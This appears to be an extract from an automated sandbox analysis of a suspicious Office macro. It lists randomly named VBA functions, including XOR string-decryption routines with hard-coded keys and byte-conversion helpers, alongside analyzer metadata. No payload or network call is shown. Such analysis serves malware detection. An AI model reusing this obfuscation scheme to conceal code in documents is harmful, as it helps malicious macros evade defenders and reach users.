                                                                                                                                                      UBound

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "fdqt7e5d"
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      43

                                                                                                                                                      Function vw823nw7(str as String) as String

                                                                                                                                                      44

                                                                                                                                                      Const p_ as String = "fdqt7e5d"

                                                                                                                                                      45

                                                                                                                                                      Dim sb_() as Byte, pb_() as Byte

                                                                                                                                                      46

                                                                                                                                                      sb_ = udax(str)

                                                                                                                                                      47

                                                                                                                                                      pb_ = udax(p_)

                                                                                                                                                      p_

                                                                                                                                                      49

                                                                                                                                                      Dim uL as Long

                                                                                                                                                      50

                                                                                                                                                      uL = UBound(sb_)

                                                                                                                                                      UBound

                                                                                                                                                      52

                                                                                                                                                      Redim scb_(0 To uL)

                                                                                                                                                      54

                                                                                                                                                      Dim idx as Long

                                                                                                                                                      56

                                                                                                                                                      For idx = LBound(sb_) To uL

                                                                                                                                                      LBound

                                                                                                                                                      57

                                                                                                                                                      If Not sb_(idx) = 0 Then

                                                                                                                                                      58

                                                                                                                                                      c = sb_(idx)

                                                                                                                                                      59

                                                                                                                                                      For i = 0 To UBound(pb_)

                                                                                                                                                      UBound

                                                                                                                                                      60

                                                                                                                                                      c = c Xor pb_(i)

                                                                                                                                                      61

                                                                                                                                                      Next i

                                                                                                                                                      UBound

                                                                                                                                                      62

                                                                                                                                                      scb_(idx) = c

                                                                                                                                                      63

                                                                                                                                                      Endif

                                                                                                                                                      65

                                                                                                                                                      Next idx

                                                                                                                                                      LBound

                                                                                                                                                      67

                                                                                                                                                      vw823nw7 = x74t(scb_)

                                                                                                                                                      68

                                                                                                                                                      End Function

                                                                                                                                                      Function fh20tl5p, APIs: 4, Strings: 1, Number of lines: 20, Relevance: 7.52
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      p_

                                                                                                                                                      UBound

                                                                                                                                                      LBound

                                                                                                                                                      UBound

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "n5mzlpzj"
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      72

                                                                                                                                                      Function fh20tl5p(str as String) as String

                                                                                                                                                      73

                                                                                                                                                      Const p_ as String = "n5mzlpzj"

                                                                                                                                                      74

                                                                                                                                                      Dim sb_() as Byte, pb_() as Byte

                                                                                                                                                      75

                                                                                                                                                      sb_ = wdix(str)

                                                                                                                                                      76

                                                                                                                                                      pb_ = wdix(p_)

                                                                                                                                                      p_

                                                                                                                                                      78

                                                                                                                                                      Dim uL as Long

                                                                                                                                                      79

                                                                                                                                                      uL = UBound(sb_)

                                                                                                                                                      UBound

                                                                                                                                                      81

                                                                                                                                                      Redim scb_(0 To uL)

                                                                                                                                                      83

                                                                                                                                                      Dim idx as Long

                                                                                                                                                      85

                                                                                                                                                      For idx = LBound(sb_) To uL

                                                                                                                                                      LBound

                                                                                                                                                      86

                                                                                                                                                      If Not sb_(idx) = 0 Then

                                                                                                                                                      87

                                                                                                                                                      c = sb_(idx)

                                                                                                                                                      88

                                                                                                                                                      For i = 0 To UBound(pb_)

                                                                                                                                                      UBound

                                                                                                                                                      89

                                                                                                                                                      c = c Xor pb_(i)

                                                                                                                                                      90

                                                                                                                                                      Next i

                                                                                                                                                      UBound

                                                                                                                                                      91

                                                                                                                                                      scb_(idx) = c

                                                                                                                                                      92

                                                                                                                                                      Endif

                                                                                                                                                      94

                                                                                                                                                      Next idx

                                                                                                                                                      LBound

                                                                                                                                                      96

                                                                                                                                                      fh20tl5p = h27i(scb_)

                                                                                                                                                      97

                                                                                                                                                      End Function

                                                                                                                                                      Function t8gb, APIs: 0, Strings: 0, Number of lines: 5, Relevance: 0.005
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      9

                                                                                                                                                      Function t8gb(str as String) as Variant

                                                                                                                                                      9

                                                                                                                                                      Dim bytes() as Byte

                                                                                                                                                      9

                                                                                                                                                      bytes = str

                                                                                                                                                      9

                                                                                                                                                      t8gb = bytes

                                                                                                                                                      9

                                                                                                                                                      End Function

                                                                                                                                                      Function o51z, APIs: 0, Strings: 0, Number of lines: 5, Relevance: 0.005
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      10

                                                                                                                                                      Function o51z(bytes() as Byte) as String

                                                                                                                                                      10

                                                                                                                                                      Dim str as String

                                                                                                                                                      10

                                                                                                                                                      str = bytes

                                                                                                                                                      10

                                                                                                                                                      o51z = str

                                                                                                                                                      10

                                                                                                                                                      End Function

                                                                                                                                                      Function udax, APIs: 0, Strings: 0, Number of lines: 5, Relevance: 0.005
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      40

                                                                                                                                                      Function udax(str as String) as Variant

                                                                                                                                                      40

                                                                                                                                                      Dim bytes() as Byte

                                                                                                                                                      40

                                                                                                                                                      bytes = str

                                                                                                                                                      40

                                                                                                                                                      udax = bytes

                                                                                                                                                      40

                                                                                                                                                      End Function

                                                                                                                                                      Function x74t, APIs: 0, Strings: 0, Number of lines: 5, Relevance: 0.005
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      41

                                                                                                                                                      Function x74t(bytes() as Byte) as String

                                                                                                                                                      41

                                                                                                                                                      Dim str as String

                                                                                                                                                      41

                                                                                                                                                      str = bytes

                                                                                                                                                      41

                                                                                                                                                      x74t = str

                                                                                                                                                      41

                                                                                                                                                      End Function

                                                                                                                                                      Function wdix, APIs: 0, Strings: 0, Number of lines: 5, Relevance: 0.005
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      69

                                                                                                                                                      Function wdix(str as String) as Variant

                                                                                                                                                      69

                                                                                                                                                      Dim bytes() as Byte

                                                                                                                                                      69

                                                                                                                                                      bytes = str

                                                                                                                                                      69

                                                                                                                                                      wdix = bytes

                                                                                                                                                      69

                                                                                                                                                      End Function

                                                                                                                                                      Function h27i, APIs: 0, Strings: 0, Number of lines: 5, Relevance: 0.005
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      70

                                                                                                                                                      Function h27i(bytes() as Byte) as String

                                                                                                                                                      70

                                                                                                                                                      Dim str as String

                                                                                                                                                      70

                                                                                                                                                      str = bytes

                                                                                                                                                      70

                                                                                                                                                      h27i = str

                                                                                                                                                      70

                                                                                                                                                      End Function

                                                                                                                                                      Reset < >